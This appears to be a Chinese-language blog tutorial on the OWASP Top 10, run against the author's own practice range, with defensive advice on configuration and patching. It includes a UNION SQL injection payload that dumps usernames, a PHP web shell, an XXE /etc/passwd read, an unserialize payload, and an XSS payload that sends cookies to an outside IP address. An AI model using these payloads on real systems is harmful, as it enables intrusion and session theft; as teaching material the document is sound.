A1:注入
将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。
SQL注入、NoSQL注入(Not only SQL)、LDAP注入(注解)都是和数据库相关的注入,在黑客笔记靶场中,你可以输入:
-2' union select group_concat(Username),2,3 from Person#
直接获取全站用户名,如下图所示:
OS注入是一件很危险的事情,直接注入shell程序,可能对网站造成毁灭性打击,希望大家不要玩火。
A2:失效的身份认证
通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
在黑客笔记靶场中,我们只需要拿到对手的Cookie,就可以不通过用户名和密码,直接在请求中带上对手的Cookie,直接伪造对手提交请求,所以保护好自己Cookie很重要。
A3:敏感数据泄露
许多Web应用程序和API都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。
黑客笔记靶场数据明文传输,任何人可以抓包窥探你的一切~
目前还是有很多网站,采用明文传输用户名和密码,:)
你再看看qq或其他大厂,看看自己输入密码登录的过程中,能不能抓包到用户名和密码?
A4:XML 外部实体(XXE)
许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者可以利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。
[root@host myzoo]# cat ailx10.php
<?php # 临时在网站根目录 添加了ailx10.php文件
system($_GET["hackbiji"]);
?>
通过SYSTEM "file:///etc/passwd"
获取隐私信息。
libxml2.9.0以后,默认不解析外部实体,无法在黑客笔记靶场演示。
A5:失效的访问控制
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
一般网站没有登录,是不能访问里面任何文件的,访问控制会将你重定向到登录界面,如果你像下面这个示例这样写代码,那么就会造成失效的访问控制。
我们可以读取服务器下任何文件,
读者思考:如何写文件呢?
[root@host myzoo]# cat ailx10.php
<?php # 临时在网站根目录 添加了ailx10.php文件
system($_GET["hackbiji"]);
?>
A6:安全配置错误
安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的HTTP
标头配置以及包含敏感信息的详细错误信息所造成的。因此,我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。
某大型连锁酒店数据库被拖,还记得吗?据说是该公司员工就管理员密码上传到了github。
千万不要给文件权限777,这是一种不负责任的行为。
默认密码一定要改,123456。
临时文件要及时删除,dz论坛。
A7:跨站脚本(XSS)
当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建HTML或JavaScript 的浏览器API
更新现有的网页时,就会出现XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。
XSS注入可以获取用户Cookie,通过下面的注入可以将Cookie发送到攻击者终端。
<script>document.write(\"<img src=\'http://144.34.129.116:8102?cookie=\" + escape(document.cookie) + \"\'>\")</script><!--
A8:不安全的反序列化
不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。
[root@host myzoo]# cat ailx10.php
<?php #黑客笔记靶场 反序列化 临时演示文件
class AI
{
var $hack='hey hack';
function __destruct()
{
echo $this->hack;
}
}
$ailx10 = $_GET['hack'];
$ailx11 = unserialize($ailx10);
?>
?hack=O:2:"AI":1:{s:4:"hack";s:14:"ailx10studying";}
可以看到反序列化输出了浏览器中我们自主可控的字符串:ailx10studying
。
思考:如何实现注入攻击?
A9:使用含有已知漏洞的组件
组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。
及时打补丁,个人无所谓。
A10:不足的日志记录和监控
不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持续性或转向更多系统,以及篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超过200天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。
rootkit 就是黑客为了销毁日志和监控。